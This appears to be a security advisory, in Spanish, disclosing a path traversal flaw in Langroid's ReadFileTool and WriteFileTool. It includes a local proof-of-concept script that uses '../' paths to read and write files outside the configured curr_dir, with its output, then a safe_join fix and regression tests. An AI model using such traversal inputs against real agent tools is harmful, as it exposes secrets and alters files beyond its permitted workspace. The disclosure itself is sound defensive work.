Resumen
ReadFileTool y WriteFileTool de Langroid parecen tratar curr_dir como el límite previsto del directorio de trabajo para las operaciones de archivo. Sin embargo, las herramientas solo cambian el directorio de trabajo del proceso a curr_dir y luego operan sobre el file_path suministrado por el usuario sin resolver ni hacer cumplir que la ruta final permanezca dentro de curr_dir.
Como resultado, un llamador de la herramienta puede suministrar secuencias de path traversal como ../secret.txt para leer archivos fuera del directorio actual configurado, o ../written_by_tool.txt para escribir archivos fuera de ese directorio.
Esto puede afectar a aplicaciones que exponen las herramientas de archivo de Langroid a un agente LLM, a una llamada de herramienta controlada por el usuario o a un agente delegado de codificación/documentación mientras confían en curr_dir para restringir el acceso a archivos a un directorio de proyecto/workspace.
Detalles
Componentes afectados:
langroid/agent/tools/file_tools.pylangroid/utils/system.py
Comportamiento relevante observado:
ReadFileTool contiene un comentario que indica la suposición prevista:
# SUPOSICIÓN: file_path debería ser relativo a curr_dir
Luego la herramienta cambia al directorio actual configurado y llama a read_file(self.file_path).
WriteFileTool resuelve de forma similar curr_dir, cambia a ese directorio y llama a create_file(self.file_path, self.content).
El problema es que cambiar el directorio de trabajo del proceso no impide el traversal. Una ruta como ../secret.txt sigue siendo válida y se resuelve fuera del curr_dir configurado.
En pruebas locales, ReadFileTool leyó correctamente un archivo fuera del directorio sandbox configurado, y WriteFileTool escribió correctamente un archivo fuera del directorio sandbox configurado.
PoC
Probado localmente contra el checkout actual del repositorio de Langroid.
Entorno:
Python 3.12
Langroid instalado en modo editable con pip install -e .
Script PoC:
from pathlib import Path
from tempfile import TemporaryDirectory
import os
os.environ["docker"] = "false"
os.environ["DOCKER"] = "false"
from langroid.agent.tools.file_tools import ReadFileTool, WriteFileTool
class DummyIndex:
def add(self, files):
print("dummy git add:", files)
def commit(self, message):
print("dummy git commit:", message)
class DummyRepo:
index = DummyIndex()
with TemporaryDirectory() as root:
base = Path(root)
sandbox = base / "sandbox"
sandbox.mkdir()
secret = base / "secret.txt"
secret.write_text("LANGROID_TOOL_ESCAPE_PROOF", encoding="utf-8")
ReadSandbox = ReadFileTool.create(get_curr_dir=lambda: sandbox)
read_tool = ReadSandbox(file_path="../secret.txt")
print("READ TOOL RESULT:")
print(read_tool.handle())
WriteSandbox = WriteFileTool.create(
get_curr_dir=lambda: sandbox,
get_git_repo=lambda: DummyRepo(),
)
write_tool = WriteSandbox(
file_path="../written_by_tool.txt",
content="WRITTEN_BY_LANGROID_TOOL",
language="text",
)
print("WRITE TOOL RESULT:")
print(write_tool.handle())
outside = base / "written_by_tool.txt"
print("outside exists:", outside.exists())
print("outside content:", outside.read_text(encoding="utf-8"))
Salida observada:
READ TOOL RESULT:
CONTENTS of ../secret.txt:
(Line numbers added for reference only!)
---------------------------
1: LANGROID_TOOL_ESCAPE_PROOF
WRITE TOOL RESULT:
Content created/updated in: ..\written_by_tool.txt
dummy git add: ['../written_by_tool.txt']
dummy git commit: Agent write file tool
Content written to ../written_by_tool.txt and committed
outside exists: True
outside content: WRITTEN_BY_LANGROID_TOOL
Esto demuestra que tanto las operaciones de lectura como las de escritura pueden escapar del curr_dir configurado usando traversal ../.
Impacto
Si una aplicación habilita las herramientas de archivo de Langroid y trata curr_dir como límite de proyecto, workspace, repositorio o sandbox, un llamador de herramienta puede escapar de ese límite.
El impacto potencial incluye:
Leer archivos fuera del workspace previsto.
Escribir archivos fuera del workspace previsto.
Exponer secretos locales, archivos de configuración, archivos fuente, archivos de entorno u otros archivos adyacentes al proyecto.
Modificar archivos fuera del directorio previsto del proyecto si WriteFileTool está habilitado.
Esto es especialmente relevante en flujos agentic donde un LLM o un usuario externo puede influir en los argumentos de herramienta.
Este informe no afirma explotación remota no autenticada por defecto. El impacto depende de cómo una aplicación exponga las herramientas de archivo de Langroid y de si curr_dir está destinado a restringir el acceso a archivos.
Mitigación sugerida
Antes de leer, escribir o listar archivos, resolver el directorio base configurado y la ruta de destino solicitada, y luego rechazar cualquier ruta que escape del directorio base.
Patrón de parche de ejemplo:
from pathlib import Path
def safe_join(base_dir: str | Path, user_path: str | Path) -> Path:
base = Path(base_dir).resolve()
target = (base / user_path).resolve()
if target != base and base not in target.parents:
raise ValueError("Path escapes configured current directory")
return target
Luego usar la ruta segura resuelta para ReadFileTool, WriteFileTool y ListDirTool.
Pruebas de regresión sugeridas:
ReadFileTool(file_path="../secret.txt") debería ser rechazado.
WriteFileTool(file_path="../outside.txt") debería ser rechazado.
Las rutas absolutas fuera de curr_dir deberían ser rechazadas.
Los escapes basados en symlink deberían ser rechazados después de la resolución final de la ruta.
Las rutas relativas normales dentro de curr_dir, como src/main.py, deberían seguir funcionando.
